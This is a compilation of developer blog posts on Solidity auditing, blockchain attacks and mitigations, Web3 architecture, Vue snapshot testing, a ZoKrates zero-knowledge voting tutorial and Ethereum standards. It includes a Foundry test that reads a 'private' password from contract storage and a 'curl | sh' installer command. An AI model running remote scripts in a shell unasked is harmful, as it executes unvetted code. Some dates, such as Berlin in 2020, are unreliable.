This is not a bug in Solidity. It is how blockchains work. Every transaction, every storage write, is public by design. Marking a variable private is a visibility modifier for the compiler, not a confidentiality guarantee for your users.

The lesson: you can protect a function and still leak the data. Access control and data confidentiality are two different problems that need two different solutions.

Step 3: Simple audit flow

Small contracts are not easier to audit, they are easier to audit shallowly. For any contract under 100 nSLOC, I now run four checks before calling it done:
1. Read the code and map the intended trust boundary.
What is the contract supposed to do, and who is supposed to be able to do it? Write it down in plain English before touching the code.
2. Check who can actually call each function.
Does every sensitive function have a guard? Does that guard cover all entry points, including any inherited or fallback functions?
3. Check whether storage or calldata exposes the value anyway.
A private variable is not private on-chain. Ask: if someone ran cast storage against every slot, what would they find? Think about variables that leak information they are not supposed to.
4. Write a test for the failure mode.
For the storage issue, a simple Foundry test proves it:

function test_anyone_can_read_password() public {
    vm.startPrank(owner);
    passwordStore.setPassword("supersecret");
    vm.stopPrank();

    // Read slot 1 directly, bypassing the getter entirely
    bytes32 storedPassword = vm.load(
        address(passwordStore),
        bytes32(uint256(1))
    );

    assertEq(
        string(abi.encodePacked(storedPassword)),
        "supersecret"
    );
}

If the test passes, the contract has a confidentiality problem regardless of what the getter says.

Takeaway

Contracts with few functions should not trick you into shallow reviews.

The real question is not, “Does the function have a guard?”

“Does the contract actually meet the expected business logic and keep the data safe?”

How would you write this contract differently?

Built on Aptos: Bringing RWAs On-Chain

Wed, 04 Feb 2026 15:17:13 +0000

Hey builders,

I’ve spent the last few weeks diving deep into the Aptos ecosystem, specifically looking at how we can bridge real-world assets (RWAs) with the speed and safety of the Move language.

I’m excited to share that I’ve just open-sourced my latest project: [Project Name].

The Why

Most RWA implementations are bogged down by high gas or rigid smart contract architecture. I wanted to build something that leverages Aptos’ Block-STM (parallel execution) to handle high-frequency asset updates without breaking the bank or the network.

Technical Highlights

Move-Powered Security: Utilized resource accounts and signer capabilities to ensure asset ownership is immutable and verifiable.
Fractionalization Engine: Built a module that allows for the seamless splitting of physical asset NFTs into tradable fungible tokens.
Decentralized Oracles: Integrated price feeds to ensure on-chain valuations reflect real-world market data in real-time.

Why Open Source?

The "Legion" ethos is all about building together. I’m open-sourcing the entire repository—from the Move modules to the frontend SDK—because RWA infrastructure shouldn't be a black box.

Whether you want to fork it for a specific niche (real estate, fine art, commodities) or just want to see how I handled the storage logic on Aptos, it’s all there.

Note: This works only with Petra Wallet and is currently deployed on Testnet. Looking to move to Mainnet with the help of contributors.

Issue #7: Blockchain security and attacks

Mon, 15 Dec 2025 09:46:45 +0000

Been a while in the series innit?

In the last issue, we discussed consensus algorithms and how they secure the Blockchain. In this issue, we will go over the possible attacks in the Blockchain ecosystem and how they can be mitigated. Let's get started, shall we?

First off, it should be noted that a good number of web3/Blockchain attacks that have happened in recent times are not due to the Blockchain itself, but rather the protocols (applications) built on top of the Blockchain.

Just like every system built with technology, the Blockchain could be open to attacks from hackers, a famous one being the infamous DAO (Decentralized Autonomous Organization) hack that happened on the Ethereum network around 2016 due to a bug in the DAO protocol's code; over $10 million dollar worth of Ethereum was stolen in this attack.

The aforementioned attack is regarded as a Reentrancy attack. An attack where a malicious smart contract makes a call to an external contract (e.g. to withdraw funds for a user), the funds are withdrawn and before the external contract updates its balances, the malicious contract makes another call to withdraw the user's balance (that has not been updated from the previous withdrawal), this goes on until the external contract is drained by the malicious contract. This attack can be prevented by following the CEI (Checks-Effects-Interactions) pattern or by using reentrancy guards.

Another attack is the 51% attack, this attack is feasible in Blockchain networks with a few nodes. In this attack, malicious actor has a majority of the nodes (>=51%) on the Blockchain, therefore he is technically in control, he can reverse transactions, perform double spending and can even fork a new chain since the Blockchain follows the majority rule. However, this is not feasible in networks with a huge number of nodes like Ethereum and Bitcoin due to the financial and computational overhead costs to carry out this attack. The 51% attack is a specific type of Sybil attack - an attack where a person creates multiple fake identities to gain control of the network.

Another classic Blockchain attack is the Replay attack, where a previous transaction is maliciously resent to the network, this can lead to issues like double spending. However, this has been mitigated by adding a nonce (a number that can be used only once) to transactions, trying to resend a transaction with the same nonce is not possible as the Blockchain nodes will see that the number has been used in a prior transaction. A Chain ID has also been added to prevent replay attacks across different chains.

Lastly, in the scope of this article, there are inflation and front running attacks, these attacks are common in DeFi protocols. It involves a user jumping ahead of a pending transaction (for example, a token swap) and executing their own trade/swap at a more favourable price which would affect the pending transaction and cause it to be executed at a higher price, meaning both users execute the same transaction but one pays more. This can be prevented by using slippage tolerance, this would cause the transaction to revert/fail if the trade would be unfavourable.

In conclusion, while the Blockchain is somewhat very secure and tamper-proof, users should take caution when interacting with Blockchain protocols. DO NOT share your private keys/secret recovery phrases and only sign transactions you trust.

Till the next issue, stay frosty.

Mastering Solidity: Essential Concepts Every Web3 Developer Must Understand

Tue, 02 Dec 2025 23:28:25 +0000

Solidity is the backbone of modern Web3 development. It powers smart contracts on Ethereum and all EVM-compatible blockchains. Yet many developers jump into coding without understanding core concepts like memory management, security patterns, and contract structure.
This article provides a clear and structured overview of the most important Solidity fundamentals every developer must master to build secure, scalable, and professional smart contracts.
H2: Understanding the Solidity Compilation Model
Solidity code is compiled into low-level EVM bytecode. Before writing smart contracts, developers must understand how contract logic is organized:
H3: Key Components of a Solidity Contract
State variables: Stored permanently on-chain
Functions: Execute logic and modify state
Events: Emit logs for off-chain systems
Modifiers: Reusable security/validation constraints
Structs & Enums: Used to organize complex data
Each component affects gas costs and security differently.
H2: Data Locations — Memory, Storage, and Calldata
One of the most misunderstood parts of Solidity is where data lives.
H3: Storage
Permanent
Expensive
Used for state variables
H3: Memory
Temporary
Cheaper
Used for function-local variables
H3: Calldata
Read-only
Cheapest
Used for external function parameters
Choosing the wrong location increases gas and introduces bugs.
H2: Security Fundamentals Every Developer Must Apply
Smart contracts are irreversible and public, making security essential.
H3: Role-Based Access Control
Use Ownable, AccessControl, or custom modifiers to prevent unauthorized access.
Copy code
Solidity
modifier onlyOwner() {

require(msg.sender == owner, "Not authorized");
_;

}
H3: Reentrancy Protection
Use the checks-effects-interactions pattern or OpenZeppelin’s ReentrancyGuard.
H3: Avoiding Integer Overflows
Always rely on Solidity ≥0.8.0 (built-in overflow protection) or SafeMath for older versions.
H2: Events and Logging — The Bridge to Off-Chain Systems
Events allow external applications (frontends, indexers, dashboards) to read contract activity.
Copy code
Solidity
event UserRegistered(address user, uint256 timestamp);
They are essential for building real-time analytics and monitoring.
H2: Writing Gas-Efficient Solidity Code
Gas optimization directly affects user experience.
H3: Best Practices
Use uint256 instead of uint8
Use calldata instead of memory for external functions
Pack variables with similar sizes
Remove unnecessary computations
Example optimization:
Copy code
Solidity
uint256 public count; // cheaper than uint8 in most cases
H2: Testing and Auditing Your Smart Contracts
No smart contract should be deployed without testing.
H3: Testing Guidelines
Use Hardhat or Foundry for automated testing
Test edge cases and failure scenarios
Simulate multi-user interactions
H3: Static Analysis Tools
Slither
MythX
Solhint
These tools detect vulnerabilities early.
H2: Deployment and Lifecycle Management
Deployment is only the beginning.
H3: Post-Deployment Tasks
Verify the contract on block explorers
Set up monitoring
Write documentation
Establish upgrade or migration plans (if using proxy patterns)
Conclusion
Solidity is powerful but unforgiving. To build professional Web3 applications, developers must understand:
How contracts are structured
How the EVM stores data
Essential security patterns
Gas optimization techniques
Testing and auditing standards
Mastering these fundamentals ensures your contracts are secure, efficient, and ready for real-world adoption.

The Hidden Architecture of Modern Web3 Systems What Developers Overlook When Building on Blockchain

Tue, 02 Dec 2025 01:21:02 +0000

Introduction
Many developers entering Web3 assume that building a blockchain project is simply a matter of deploying a smart contract. In reality, professional Web3 systems require a combination of distributed architecture, backend engineering, security layers, data indexing, and seamless user experience.
This article explores the hidden layers behind modern Web3 products and highlights what developers often overlook during development.
The Multi-Layer Structure of a Web3 Project

Smart Contracts — The Immutable Core
Smart contracts define the logic and rules of a decentralized system. They must be secure, efficient, and predictable.
To ensure reliability:
Recommended Practices
Use audited and open-source standards
Keep logic modular and simple
Apply role-based access control
Run automated unit tests
Perform static and dynamic analysis
Test edge cases such as zero-values and overflow scenarios
Smart contracts are permanent — which makes testing and security the most critical development phase.
Off-Chain Backend — The Most Overlooked Layer
Even though Web3 is decentralized, real applications require off-chain servers to perform tasks that blockchains cannot handle efficiently.
Backend Responsibilities
Index blockchain events
Provide APIs for dashboards and mobile apps
Manage analytics, logs, and caching
Monitor fraud or suspicious activities
Execute automation and scheduled tasks
Common Backend Tools
Languages: Node.js, Python, Go
Databases: PostgreSQL, MongoDB, Redis
A well-designed backend is essential for scalability and performance.
Data Indexing and Node Infrastructure
Nodes are not optimized for fast repeated queries. High-quality Web3 apps require:
Archive nodes
Custom indexers
Real-time data streams
Internal caching systems
Without proper indexing, dashboards become slow, charts break, and users experience delayed data.
Security — The Most Critical Component of Web3
Smart Contract Security
Circuit breakers
Time-locked admin functions
Role separation
Immutable parameters
Backend Security
API rate-limits
Firewalls
Authentication layers
Automated monitoring
Transparency
Public audits
Verified contracts
Clear technical documentation
Security must be baked into every layer of the system.
Frontend & User Experience
A Web3 project lives or dies based on usability. If users cannot understand the interface, they will not trust the platform.
Essential Frontend Features
Fast, clean UI
Wallet integrations
Real-time blockchain data
Informative error messages
Mobile optimization
Even the best smart contracts fail without a strong user experience.
Choosing the Right Blockchain
Developers should consider:
Transaction fees
Speed
Tooling availability
Documentation quality
Ecosystem size
Security history
EVM-compatible networks remain a top choice due to their mature ecosystem and tooling.
Testing & Simulation Before Deployment
Testing Checklist
Stress-test heavy transaction loads
Test wallet interactions
Validate node stability
Run full integration tests
Measure gas efficiency
This prevents costly failures after launch.
Continuous Maintenance
A Web3 system requires ongoing updates:
Patch vulnerabilities
Improve APIs and indexers
Update UI components
Optimize smart contract gas usage
Scale infrastructure when needed
Web3 is always evolving — only adaptive projects survive.
Conclusion
Building a modern Web3 ecosystem demands more than just smart-contract deployment. Developers must combine:
Strong architecture
Secure contract engineering
Reliable indexing
Scalable backend
Clean UX
Continuous improvement
Those who understand the full technical stack can build Web3 systems that are secure, scalable, and ready for real-world adoption.

Learning the Single Responsibility Principle with Snapshot Tests

Tue, 26 Aug 2025 17:57:13 +0000

This is the second part and here is the firt one Learning the Single Responsibility Principle, One Test at a Time

The "Aha!" Moment: Unreadable Snapshots

If you've been following along, you know that a component that's difficult to test is a strong signal that it's doing too much. This is where snapshot testing can give you a powerful, tangible warning.

Imagine you're working on a UserProfilePage.vue component. This component not only displays a user's details but also handles a "follow" button, a list of their posts, and fetches all the data for these sections. If you were to write a snapshot test for this component, the result would be a massive, multi-hundred-line file. This is your "aha!" moment. This unreadable snapshot isn't just a nuisance; it's a guide. It's a clear, frustrating consequence that tells you, "This component needs to be broken down."

The Unreadable Snapshot is Your Guide to Refactoring

A large, messy snapshot is a primary indicator of a bloated component. By breaking this component into smaller, single-responsibility components, you'll end up with multiple small, clean, and highly readable snapshots. This process turns a theoretical principle into a practical, step-by-step refactoring task.

Here's our complex UserProfilePage.vue component, rewritten with the Composition API:

<template>
  <div class="profile-container">
    <header class="profile-header">
      <img class="user-avatar" :src="user.avatar" alt="User avatar" />
      <h1 class="user-name">{{ user.name }}</h1>
      <button class="follow-button" @click="handleFollow">Follow</button>
    </header>
    <section class="profile-posts">
      <h2>Posts</h2>
      <div v-for="post in posts" :key="post.id" class="post-card">
        <h3>{{ post.title }}</h3>
        <p>{{ post.content }}</p>
      </div>
    </section>
  </div>
</template>

<script setup>
import { ref, onMounted } from 'vue';
import { getUser, getPosts, followUser } from '@/api/user';

const props = defineProps({
  userId: {
    type: [String, Number],
    required: true,
  },
});

const user = ref(null);
const posts = ref([]);

const fetchUserData = async () => {
  user.value = await getUser(props.userId);
  posts.value = await getPosts(props.userId);
};

const handleFollow = () => {
  followUser(props.userId);
  // Logic for handling follow action
};

onMounted(() => {
  fetchUserData();
});
</script>

Even with the Composition API, this component still does a lot. It handles data fetching, state management, and user interaction. When we break this down, our snapshots become much more manageable. The UserProfilePage can now focus on its single job: orchestration.

Finding the Balance: Reusability vs. Encapsulation

This is a very important point: you're not aiming for "file hell" by turning every <p> tag into a separate component. A component should be created for one of two main reasons:

Reusability: This is the most common reason. If a piece of UI, like a Button or a PostCard, is going to be used in multiple places, it's an independent, reusable building block and should be its own component.
Encapsulation: Sometimes, a part of a larger component is simply too complex to be written inline. Even if this piece of UI is only used on one page, extracting it into its own component is still a valid use of SRP. You're not creating a reusable entity, but you are making the parent component more readable and manageable. The new component's single responsibility is to manage the complexity of that specific UI block.

The key is to break down complexity, not just to create more files.

The Hidden Benefit: Testing Styles

A snapshot captures the complete rendered output, including CSS class names and the HTML structure. This means a snapshot test implicitly acts as a safeguard against unintended style regressions. If you accidentally change a class name from user-name to user-title in a child component, its snapshot will fail. This flags a visual change that you might have overlooked. You are then forced to acknowledge and approve the change, reinforcing that a style change is a valid "reason to change" for a component.

Snapshotting the Orchestrator

Following the principle of orchestration, a page's single responsibility is to compose other components. Therefore, a snapshot test for a page component should not be a massive file. Instead, it should mock the child components.

Here's our refactored UserProfilePage.vue:

<template>
  <div class="profile-page-layout">
    <UserHeader :user-id="userId" />
    <UserPosts :user-id="userId" />
  </div>
</template>

<script setup>
import UserHeader from './UserHeader.vue';
import UserPosts from './UserPosts.vue';

const props = defineProps({
  userId: {
    type: [String, Number],
    required: true,
  },
});
</script>

And here's how you'd test it using @vue/test-utils and Jest:

// UserProfilePage.test.js - Testing the Orchestrator

import { shallowMount } from '@vue/test-utils';
import UserProfilePage from '@/components/UserProfilePage.vue';

describe('UserProfilePage', () => {
  it('should render the orchestrator component correctly', () => {
    const wrapper = shallowMount(UserProfilePage, {
      props: { userId: 1 },
    });
    expect(wrapper.html()).toMatchSnapshot();
  });
});

The use of shallowMount is key here. It stubs out the child components (UserHeader and UserPosts), so the snapshot for the UserProfilePage is clean and concise. It only verifies that the page is correctly rendering its children with the right props, fulfilling its single responsibility as an orchestrator.

Unit Tests as a Regression Safety Net

This practice turns individual unit tests into a powerful regression safety net. By having a focused snapshot test for every small, single-responsibility component, you build a robust system. If you change a low-level component (like a PostCard) and it breaks its snapshot, you have caught a regression at the source. This prevents the bug from ever reaching higher-level components like pages, which would be much harder to debug.

Mocking Services and Stores to Test "Wiring"

For orchestrator components, snapshot testing also helps verify the "wiring" or data flow. To test a page component, you must mock the services or stores it depends on. The snapshot test then confirms that the page correctly fetches the data (from your mock) and passes it down to the appropriate child components. You're not testing the data-fetching logic itself (that's the service's responsibility); you're testing the page's ability to act as a conductor.

From Theory to Practice: The Ultimate Payoff

Using snapshot testing wisely turns the abstract concept of SRP into a tangible, achievable outcome. By prioritizing testability—and letting the unreadability of large snapshots be your guide—developers are naturally pushed toward writing smaller, more focused components. This leads to code that is not only easier to test, but also more maintainable, reusable, and ultimately, better designed.

A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application

Wed, 30 Jul 2025 11:25:49 +0000

Zero-knowledge proofs (ZKPs) allow someone to prove they know or did something — without revealing what it was. A specific type of ZKP called a zk-SNARK (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) enables compact and fast proofs that can be verified on-chain.

Writing ZK circuits manually can be complex, but ZoKrates makes it much easier. It provides a high-level language and tooling to compile circuits, generate proofs, and export Solidity verifiers.

In this tutorial, we’ll use ZoKrates to build a simple private voting example:

️ A user will commit to their vote (1 or 2) using a secret nonce and the Poseidon hash function.
Later, they’ll prove (without revealing their vote or nonce) that:

The vote was valid (1 or 2), and
It matches a previously published commitment.

We’ll generate the proof entirely in JavaScript and verify it on-chain — all using a local setup with scaffold-eth-2, a powerful framework for building Ethereum dApps.

⚠️ This is a minimal example to help you understand the flow. It’s not a full voting system — just a small step into the zk world.

️ Step 0: Install ZoKrates

On Linux/macOS, install with:

curl -LSfs get.zokrat.es | sh

⚠️ On Windows, make sure to install and run inside WSL (Windows Subsystem for Linux), or you’ll face compatibility issues.

Check it's working:

zokrates --help

⚙️ Step 1: Bootstrap Your dApp

Use scaffold-eth-2 — the fastest way to start building full-stack dApps.

Initialize the project:

npx create-eth@latest # we are using foundry, but hardhat works too
cd my-zk-vote  # open the project's directory
yarn           # install all dependencies

Add ZK dependencies on NextJS package:

cd packages\nextjs # go to nextjs directory
yarn add circomlibjs zokrates-js # add zk frontend dependencies

Start development servers:

cd ..\..       # go back to the root directory
yarn chain     # start local blockchain
yarn deploy    # deploy contracts
yarn start     # launch frontend

Step 2: Write the Circuit

You can see the circuit as a way to validate secret information. Each information marked as private will remain secret and can be validated against other public arguments.

Create a file at packages/foundry/contracts/vote.zok:

import "hashes/poseidon/poseidon.zok";

def main(private field vote, private field nonce, field commitment) -> bool {
    assert(vote == 1 || vote == 2);
    field hash = poseidon([vote, nonce]);
    assert(hash == commitment);
    return true;
}

What this does:

Enforces that the vote must be 1 or 2 — a simple rule for this example.
Hashes the vote and a secret nonce using Poseidon, then checks that it matches the provided commitment — proving the commitment corresponds to a valid vote.

Why Poseidon? It’s a hash function designed for zero-knowledge circuits — much faster and cheaper to verify in zk-SNARKs than SHA256 or Keccak.

Step 3: Generate the Commitment in JavaScript

Create a helper file at packages/nextjs/utils/zkVote.ts:

import { buildPoseidon } from "circomlibjs";

export async function generateCommitment(vote: number, nonce: bigint): Promise<string> {
  const poseidon = await buildPoseidon();
  const commitment = poseidon([BigInt(vote), nonce]);
  return poseidon.F.toString(commitment);
}

You can now copy vote, nonce, and commitment into the ZoKrates Playground to test your circuit manually.

Tip: You can use the commands below to quickly generate a commitment to test on the playground:

cd packages/nextjs
npx --package typescript tsc utils/zkVote.ts --target es2020 --module commonjs --outDir dist --esModuleInterop
node -e "require('./dist/zkVote.js').generateCommitment(2, 123456789n).then(console.log);"

Step 4: Compile the Circuit

Run this from your project root:

cd packages/foundry/contracts
zokrates compile -i vote.zok
zokrates setup
zokrates export-verifier

This will produce a verifier.sol file you can use on-chain.
Move proving.key and verification.key to packages/nextjs/public so it's available in the frontend, don't worry, these keys are not private.
You can delete abi.json, out and out.r1cs files, if you want.

Step 5: Add the Verifier to Your App

Create `packages/foundry/script/DeployVerifier.s.sol:

pragma solidity ^0.8.19;

import "./DeployHelpers.s.sol";
import "../contracts/verifier.sol";

contract DeployVerifier is ScaffoldETHDeploy {
    function run() external ScaffoldEthDeployerRunner {
        new Verifier();
    }
}

Edit `packages/foundry/script/Deploy.s.sol:

pragma solidity ^0.8.19;

import "./DeployHelpers.s.sol";
import { DeployYourContract } from "./DeployYourContract.s.sol";
import { DeployVerifier } from "./DeployVerifier.s.sol";

contract DeployScript is ScaffoldETHDeploy {
    function run() external {
        DeployYourContract deployYourContract = new DeployYourContract();
        deployYourContract.run();

        DeployVerifier deployVerifier = new DeployVerifier();
        deployVerifier.run();
    }
}

Then redeploy everything:

yarn deploy

Step 6: Generate the Proof in the Frontend

Continue in packages/nextjs/utils/zkVote.ts and add the following:

import { initialize } from "zokrates-js";

let cachedKeypair: any = null;

async function loadKeypair() {
  if (!cachedKeypair) {
    const provingKeyResponse = await fetch("/proving.key");
    const provingKeyBuffer = await provingKeyResponse.arrayBuffer();

    const verificationKeyResponse = await fetch("/verification.key");
    const verificationKeyBuffer = await verificationKeyResponse.arrayBuffer();

    const provingKeyUint8 = new Uint8Array(provingKeyBuffer);
    const verificationKeyUint8 = new Uint8Array(verificationKeyBuffer);

    cachedKeypair = {
      pk: provingKeyUint8,
      vk: verificationKeyUint8,
    };
  }
  return cachedKeypair;
}

export type Proof = {
  proof: {
    a: { X: bigint; Y: bigint };
    b: { X: readonly [bigint, bigint]; Y: readonly [bigint, bigint] };
    c: { X: bigint; Y: bigint };
  };
  inputs: readonly [bigint, bigint];
};

function formatProof(rawProof: any): Proof {
  const { a, b, c } = rawProof.proof;

  const toBigTuple = (arr: string[]) => [BigInt(arr[0]), BigInt(arr[1])] as const;

  return {
    proof: {
      a: { X: BigInt(a[0]), Y: BigInt(a[1]) },
      b: { X: toBigTuple(b[0]), Y: toBigTuple(b[1]) },
      c: { X: BigInt(c[0]), Y: BigInt(c[1]) },
    },
    inputs: toBigTuple(rawProof.inputs),
  };
}

export async function proveVote(vote: number, nonce: bigint, commitment: string): Promise<Proof> {
  const zokrates = await initialize();
  const artifacts = zokrates.compile(`
  import "hashes/poseidon/poseidon.zok";

  def main(private field vote, private field nonce, field commitment) -> bool {
      assert(vote == 1 || vote == 2);
      field hash = poseidon([vote, nonce]);
      assert(hash == commitment);
      return true;
  }
      `);
  const keypair = await loadKeypair();

  const { witness } = zokrates.computeWitness(artifacts, [vote.toString(), nonce.toString(), commitment]);
  const rawProof = zokrates.generateProof(artifacts.program, witness, keypair.pk);
  return formatProof(rawProof);
}

The important method here is proveVote, it will:

initialize zokrates
compile the circuit
load the keypairs
compute witness using the arguments of the method
generate the proof with the compiled circuit, the witness and the proving key.

Step 7: Verify the Proof On-Chain

Call your Verifier contract from the frontend on a Nextjs page:

"use client";

import { useRef, useState } from "react";
import type { NextPage } from "next";
import { toast } from "react-hot-toast";
import { useScaffoldReadContract } from "~~/hooks/scaffold-eth";
import { Proof, generateCommitment, proveVote } from "~~/utils/zkVote";

const Home: NextPage = () => {
  // generate a random nonce
  const nonceRef = useRef<bigint>(BigInt(Date.now() + Math.floor(Math.random() * 1000)));

  // state for the vote, the commitment, the proof, and the loading state
  const [vote, setVote] = useState<string>("");
  const [commitment, setCommitment] = useState<string>();
  const [proof, setProof] = useState<Proof | null>(null);
  const [isLoading, setIsLoading] = useState(false);

  // verify the proof onchain once you have the proof
  const { data: isVerified } = useScaffoldReadContract({
    contractName: "Verifier",
    functionName: "verifyTx",
    args: [proof?.proof, proof?.inputs],
    query: {
      enabled: !!proof,
    },
  });

  // generate the commitment when the user clicks the button
  const handleVote = async () => {
    if (!vote) return;

    setIsLoading(true);
    try {
      const voteNumber = Number(vote);
      const newCommitment = await generateCommitment(voteNumber, nonceRef.current);
      setCommitment(newCommitment);
    } catch (error) {
      toast.error("Error generating commitment: " + (error as Error).message);
    } finally {
      setIsLoading(false);
    }
  };

  // prove the vote when the user clicks the button
  const handleProve = async () => {
    if (!vote || !commitment) return;

    setIsLoading(true);

    try {
      const voteNumber = Number(vote);
      const newProof = await proveVote(voteNumber, nonceRef.current, commitment);
      setProof(newProof);
    } catch {
      toast.error("Impossible to prove");
      setProof(null);
    } finally {
      setIsLoading(false);
    }
  };
  
  // render your page...
}

You can check the whole code of the page component in the repository Github.

To test your ZK dApp locally, just open http://localhost:3000 in your browser.

Final Thoughts

In this example, we called the Verifier contract directly from the frontend. That’s useful for learning — but in a real-world application, it’s not the pattern you’d use.

Instead, your main contract (e.g. a voting contract, identity manager, or game logic) would receive the proof and internally call the Verifier contract to validate it before proceeding with any logic.

This architecture gives you control and flexibility:

function submitVote(
  uint[2] calldata a,
  uint[2][2] calldata b,
  uint[2] calldata c,
  uint[] calldata input
) external {
  require(verifier.verifyTx(a, b, c, input), "Invalid proof");
  // continue with vote counting, recording, etc
}

What You Could Build with This

This approach opens doors to powerful applications:

Anonymous voting: prove your vote was valid without revealing it
Private whitelists: prove membership in a group (via Merkle root) without showing which one
Private randomness: commit to a number, later prove its properties (e.g., in a fair lottery)
Game actions: prove you played by the rules without revealing your strategy
Credential systems: prove you hold a credential without disclosing your identity

Zero-knowledge isn’t just privacy — it’s about integrity without exposure.

If you're exploring zero-knowledge or building real-world dApps, feel free to connect — I'd love to exchange ideas.

Written by Gil, a fullstack developer with 15+ years of experience, passionate about practical architecture, clean UX, and blockchain-powered applications.

Understanding Ethereum: EVM, Blocks, Gas, Accounts & Transactions Explained

Thu, 17 Jul 2025 19:22:29 +0000

Ethereum is more than just transfers of ETH — it’s a decentralized global computer powered by nodes and fueled by gas. Let’s break down its core components to help you grasp why it works the way it does.

1. The Ethereum Virtual Machine (EVM)

What it is: The EVM is the runtime engine powering Ethereum, a virtual CPU that runs smart contracts and processes transactions.

Why it matters:

It ensures every node executes code deterministically, so all states stay in sync.
It supports a defined set of opcodes (like ADD, JUMP, SLOAD), with each costing gas based on the amount of computation required .

Analogy:
Think of Ethereum as a massive online code playground, and the EVM as the consistent engine that runs your code—even on someone else’s computer. Every time you press "execute," it runs exactly the same way.

⛓️ 2. Blocks: Ethereum’s Time Capsules

What it is: Ethereum groups transactions into blocks, each containing:

Block number, timestamp
Gas limit (cap for total gas used) & gas used

Transaction list, Merkle roots, parent hash, and proposer’s signature.

Why it matters:

Blocks batch transactions to maintain consensus across nodes.
Each block advances the state, forming a permanent ledger of changes.

Analogy:

Blocks are like train cars, each carrying multiple passenger transactions and connected to the previous one to form a train—a never-ending ride.

⛽ 3. Gas: Ethereum’s Fuel Meter

What it is: Gas measures how much computation you're using. Every EVM opcode requires a specific gas amount .
Why we pay gas:

It prevents spam and infinite loops.
It pays validators for computation.
It ensures execution stays deterministic and bounded.

Gas Units vs. Gwei:

Gas units = computational steps
Gwei = 10⁻⁹ ETH, used to price each gas unit.

Example with Analogy:
Imagine riding a motorbike:

Distance = gas units
Fuel price per km = base fee + priority tip
You load your bike with just enough fuel (gas limit) and tip for priority service (priority fee).

4. Accounts: EOAs vs. Contract Accounts

Ethereum has two account types

1. EOA (Externally Owned Account)

Controlled by a private key
Can initiate transactions
No code, just ETH balance

2. Contract Account

Live code at an address
Can store data, and run logic when triggered
Cannot initiate transactions—EOAs must call them

Analogy:
EOAs are like people with wallets, while contract accounts are like vending machines: they respond to your actions, they can hold funds, but they don’t make moves on their own.

5. Transactions: State-Changing Actions

What they are: The only way to change Ethereum’s state (send ETH, create contracts, interact with smart contracts).

Transaction content includes:

from, to, value, nonce
gasLimit, maxFeePerGas, maxPriorityFeePerGas
data (optional), signature components

Stages of a transaction:

Signed by your private key
Broadcast to mempool
Picked by a validator
Executed, state updated, included in a block
Block finalized—permanent record

Analogy:
Think of it like ordering at a busy coffee shop:

You put in your order (transaction)
It goes on the queue (mempool)
A barista (validator) makes it (executes)
You wait until they confirm your order is done (block inclusion)
You finally drink it when it’s served (finalization)

Recap Table

Component	What It Does	Why It Matters
EVM	Runs smart contract bytecode	Ensures consistent behavior across all nodes
Blocks	Batch transactions into permanent records	Maintain global state and ledger
Gas	Measures computation, controls use	Prevents abuse, rewards validators
EOA	User-controlled account with balance	Initiate transactions
Contract	Code and state living on-chain	Enables programmable logic
Transaction	Signed messages changing state	The only way to interact with Ethereum

Why This Matters

By understanding these pillars:

You’ll optimize gas usage
Avoid common errors like low gas limits
Build or interact with contracts more confidently
Understand transaction lifecycles and how fees work

What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of

Thu, 17 Jul 2025 19:21:14 +0000

They might not trend on Crypto Twitter—but without them, Ethereum wouldn't run this smooth. - Allan Robinson

What Are EIPs and ERCs?

EIPs (Ethereum Improvement Proposals) are Ethereum’s official feature requests or improvements, typically targeting protocol-level changes (e.g., transaction formats, gas fees).
ERCs (Ethereum Request for Comments) are a subset of EIPs focused on smart contract standards, used to ensure compatible interfaces across dApps.

They emerged as community-driven blueprints to evolve Ethereum in a consistent, transparent, and coordinate-driven way.

History & Impact

The EIP process began with EIP-1 in 2015 to formalize how Ethereum should evolve.
Early successful proposals like EIP-20 (ERC-20) established core patterns for the ecosystem.
Over time, new needs arose: better transaction gas efficiency, clearer contract interoperability, and fairer developer incentives.
Thanks to EIPs and ERCs, Ethereum continues to grow backward-compatible while integrating new features without breaking older systems.

️ Deep Dive into 4 Selected Standards

1. EIP‑2930: Access Lists (Core / Transaction Format)

Overview

Introduced in Berlin (2020) as part of a suite addressing storage cost spikes (alongside EIP-2929)
Lets you pre-declare which contract addresses/storage slots your tx will access.
Those slots are “pre-warmed” at lower cost, avoiding high “cold” access charges.

✅ Benefits

Saves ~200 gas per storage access
Reduces volatility and DoS attack risk from expensive cold storage.

❌ Drawbacks

Requires users/devs to predict exactly which slots will be used—mistakes can cost more gas than savings.
Adoption has been low: just ~1.5% of txs use it despite 42% potential benefit

⚙️ Analogy

Think of it like a grocery preorder: tell the store what you’ll need in advance and skip checkout lines—but if you order the wrong things, you wasted time and money.

2. EIP‑7547: Inclusion Lists (Core / Block Assembly)

Overview

A new proposal letting block proposers force inclusion of specific transactions in a block, reducing censorship
Especially useful for front-running, MEV-resistant applications.

✅ Benefits

Enhances fairness and censorship resistance in the mempool.
Empowers transaction originators to battle MEV-based exclusion.

⚠️ Considerations

Still under development.
Needs client & tooling support to become practical.

⚙️ Analogy

It’s like a VIP pass for users who want to ensure their ticket gets scanned even during rush hour.

3. ERC‑165: Interface Detection (Contract Interface Standard)

Overview

Standardizes how contracts announce which interfaces they implement—used widely since 2018
Contracts implement supportsInterface(bytes4 interfaceID) so others can detect capabilities.

✅ Benefits

Enables dynamic compatibility checks for wallets/dApps.
Avoids hard-coded assumptions, reducing risk of breakage.

❌ Drawbacks

Needs explicit implementation—some contracts skip it to save gas.
Only covers declared interfaces; doesn’t guarantee full compliance.

⚙️ Analogy

Like a software installer that checks if your system supports .NET 6 before installation—no surprises later.

Overview

A new proposal for sharing transaction fees (beyond ETH’s built-in burn/tip) with contract creators
Users opt-in to send a developer fee to the dApp creator on each use.

✅ Benefits

Creates an incentive model for public dApps to be sustainable.
Offers an optional “tip” model for open-source contract authors.

⚠️ Controversies

May discourage usage if tips are high.
Needs to balance opt-in vs auto-fee structures.

⚙️ Analogy

Like paying 10% tip for offline delivery services you trust—optional but appreciated.

Comparison Table

EIP/ERC	Category	Purpose	Adoption Status
EIP‑2930	Core / Tx	Improve gas for predefined access	Low adoption (\~1.5%)
EIP‑7547	Core / Blocks	Censorship resistance via inclusion lists	Early draft
ERC‑165	Interface	Standard method to declare support	Widely adopted (NFTs, tokens)
EIP‑6969	ERC / Payments	Revenue-sharing tips to contract authors	Emerging interest

Final Takeaways

Access Lists (EIP‑2930) streamline gas costs—but you must think ahead.
